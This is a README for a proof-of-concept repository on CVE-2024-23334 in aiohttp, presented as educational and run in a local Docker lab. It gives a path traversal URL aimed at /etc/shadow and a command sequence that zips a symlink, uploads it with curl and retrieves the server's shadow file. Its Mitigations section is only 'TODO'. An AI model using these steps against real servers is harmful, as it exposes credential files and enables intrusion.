## https://sploitus.com/exploit?id=041A96C0-DBB2-58F0-A650-355E9A0DD02E
# poc-cve-2024-23334
This repository contains a proof of concept about the exploitation of the aiohttp library for the reported vulnerability CVE-2024-23334.
This was created for two reasons:
1. Educational purposes: for those who are starting in application security, it is helpful to see the steps to reproduce a vulnerability as well as understanding the concepts behind it.
2. Fixing steps: sharing mitigation steps in order to fix the issue.
For more information, visit my website: https://brianre.dev/
## Requirements
- Install Docker
- Install Python3
## How to run the project locally.
1. Clone this repo locally.
2. Run the following command to build the image:
```bash
make build
```
3. Run the following command to run the container:
```bash
make run
```
If you want to run docker in detached mode, just run:
```bash
make rund
```
## Scenarios
1. **Make a request with the url modified to perform path traversal and exploit Local File Inclusion vulnerability (LFI)**: To
execute the exploit, run the following script:
```bash
python3 exploits/exploit_path_traversal.py
```
By running the script, we are performing a RAW HTTP request to the server. We do it this way and not by using curl or accessing
directly in the browser because thse tools includes sanitizing and normalizing URLs before sending the HTTP request. This includes path Normalization:
tools like curl and browsers will process the URL path, removing sequences like .. that are used for directory traversal.
Therefore, a path like /static/../../../../../../../../../../../../etc/shadow will be normalized to /etc/shadow,
and since such a path does not typically exist as a resource on a standard web server, it results in a 404 error.
2. **There is already created a symlink to a restricted file, such as /etc/shadow.** This scenario is the most improbable,
but maybe someone internally from the company can leak information using this and people may not check the static logs.
And in case static file access is not logged, it is very difficult to identify when it was leaked.
The scenario created in this repo was just for explaining the vulnerability and prooving that it exists and is still exploitable.
3. **Someone can upload a symlink to the server and exploit.** This is a more real scenario, where what I do is to upload a symlink generated
on my computer, and then I access to that file so I can retrieve a file such as /etc/shadow.
The way of performing this is with a compressed file, so that way we are able to upload the symlink and, when uncompressed in the server, it generates that
same symlink. Uploading a symlink through curl directly as a link.jpeg file will only read the local file that the symlink is targeting and will upload
the original file instead. So, if we want to target a specific path of the server filesystem, we should be able to upload a compressed file, such as .zip or
.tar.gz.
To reproduce this second scenario, you have to follow these steps:
```bash
touch /etc/shadow # It creates a file on your machine on the specified directory. Be sure that you don't replace an existing file.
ln -s /etc/shadow exploit.jpeg # Creates a symlink with the /etc/shadow file and name it exploit.jpeg
zip -y images.zip exploit.jpeg # Zip the symlink
curl -X POST -F "file=@images.zip" http://localhost:8080/upload # Upload the zip file
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Access the symlink and, because aiohttp has the vulnerability, it returns the /etc/shadow from the server.
```
## Mitigations
TODO
## Development
In order to set up the project locally to develop, you have to:
1. Create virtual environment.
```bash
python3 -m venv env
```
2. Install dependencies.
```bash
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt
```
## Resources
- https://vulners.com/cve/CVE-2024-23334
- https://nvd.nist.gov/vuln/detail/CVE-2024-23334